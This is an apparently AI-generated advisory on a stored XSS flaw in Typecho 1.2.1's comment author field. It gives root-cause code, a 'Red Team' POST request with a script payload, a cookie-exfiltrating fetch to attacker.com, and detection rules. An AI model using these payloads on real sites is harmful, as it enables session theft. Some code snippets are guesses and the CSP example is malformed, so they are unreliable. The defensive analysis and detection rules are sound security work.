CVE-2024-46494

Executive Summary

CVE-2024-46494 is a stored Cross-Site Scripting (XSS) vulnerability in Typecho v1.2.1, a popular open-source blogging platform. An attacker can inject arbitrary JavaScript or HTML into the Name parameter of a comment form. When an administrator or other user views the article page containing the malicious comment, the payload executes in their browser context. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor.

Supply Chain & Package Security

Typecho is a PHP-based CMS distributed via GitHub and its official website. The vulnerable version (1.2.1) is still available for download. No package manager (e.g., Composer) is officially used for core distribution, but third-party mirrors may host the vulnerable code. Users should verify the integrity of their installation and consider manual patching.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required; the comment form is publicly accessible.
• Privileges Required (PR): None (N) – No authentication needed to submit a comment.
• User Interaction (UI): Required (R) – A victim (e.g., admin) must view the page with the malicious comment.
• Scope (S): Changed (C) – The vulnerable component (comment system) impacts the broader web application.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Attacker can modify page content via injected scripts.
• Availability (A): None (N) – No direct impact on service availability.

CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation requires user interaction but is trivial to execute.

Deep Dive & Mechanics

The vulnerability resides in the comment submission handler of Typecho. When a user submits a comment, the Name field is stored in the database without proper sanitization or output encoding. The application uses htmlspecialchars() in some places but fails to apply it to the Name parameter before rendering it in the comment list.

Root Cause:
In the file var/Widget/Feedback.php (or similar), the Name field is directly assigned to the comment object without filtering. When the comment is displayed via $comment->author->name, the raw value is echoed into the HTML without escaping.

Attack Flow:

1. Attacker navigates to any article that allows comments.
2. Submits a comment with a crafted Name field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When an administrator or visitor loads the article page, the script executes in their browser.

Impact:

• Session cookie theft (if HttpOnly flag is missing).
• Defacement of the blog.
• Redirection to phishing pages.
• Keylogging or other client-side attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Typecho 1.2.1):
In var/Widget/Feedback.php, the comment insertion logic does not sanitize the Name parameter:

// Vulnerable snippet (simplified)
$comment = array(
    'author' => $this->request->from('author', 'mail', 'url'),
    // ...
);
// No sanitization on 'author' before storage

When rendering in themes/default/comments.php:

<!-- Vulnerable output -->
<span class="comment-author"><?php $comment->author(); ?></span>

The author() method outputs the raw value without escaping.

Patched Code (Hypothetical Fix):
Apply htmlspecialchars() to the Name field before storage or output:

// In Feedback.php
$comment['author'] = htmlspecialchars($this->request->get('author'), ENT_QUOTES, 'UTF-8');

Or in the theme:

<span class="comment-author"><?php echo htmlspecialchars($comment->author); ?></span>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Typecho 1.2.1 instance with comments enabled.
• Access to any public article.

Step-by-Step Exploit:

1. Identify a target article URL (e.g., http://target/archives/1.html).
2. Submit a POST request to the comment endpoint (usually /action/comment):

   POST /action/comment HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   
   author=<script>alert(document.cookie)</script>&mail=attacker@example.com&url=&text=Test+comment&cid=1&_=1234567890
   

3. Wait for an admin to view the article or trigger the payload via social engineering.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP logs for suspicious author parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block common XSS patterns in POST data.

Hardening:

• Apply the patch manually by editing var/Widget/Feedback.php to sanitize input.
• Add a Content Security Policy (CSP) header to mitigate script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'?; // Note: 'unsafe-inline' weakens CSP
  

• Enable HttpOnly and Secure flags on session cookies.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /action/comment with author containing HTML/JS tags.
  • Outbound connections to attacker-controlled domains from the blog server.

• Host:

  • Database entries in typecho_comments table where author field contains <script> or similar.
  • Modified files in var/Widget/Feedback.php or theme files (if attacker uploads backdoor).

• Logs:

  • Web server logs showing author=<script> in POST body.
  • Error logs with JavaScript execution errors (e.g., ReferenceError: alert is not defined).

Detection Engineering

YARA Rule

rule CVE_2024_46494_XSS_Typecho {
    meta:
        description = "Detects XSS payload in Typecho comment author field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46494"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Typecho Comment XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Typecho comment author field
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/action/comment'
        cs-request|contains:
            - 'author=<script'
            - 'author=javascript:'
            - 'author=onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in author name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46494 Typecho XSS in Comment Author"; flow:to_server,established; content:"POST"; http_method; content:"/action/comment"; http_uri; content:"author="; http_client_body; pcre:"/author=<[^>]*script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Patch: Edit var/Widget/Feedback.php and add htmlspecialchars() to the author field before storage.
2. Disable Comments: Temporarily disable comments via Typecho settings until a patch is applied.
3. WAF Rule: Deploy a Web Application Firewall rule to block author parameters containing <script> or event handlers.

Long-Term Fix:

• Upgrade to a patched version when released (monitor Typecho GitHub for updates).
• Implement a Content Security Policy (CSP) to restrict script execution.
• Regularly audit third-party plugins for similar vulnerabilities.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.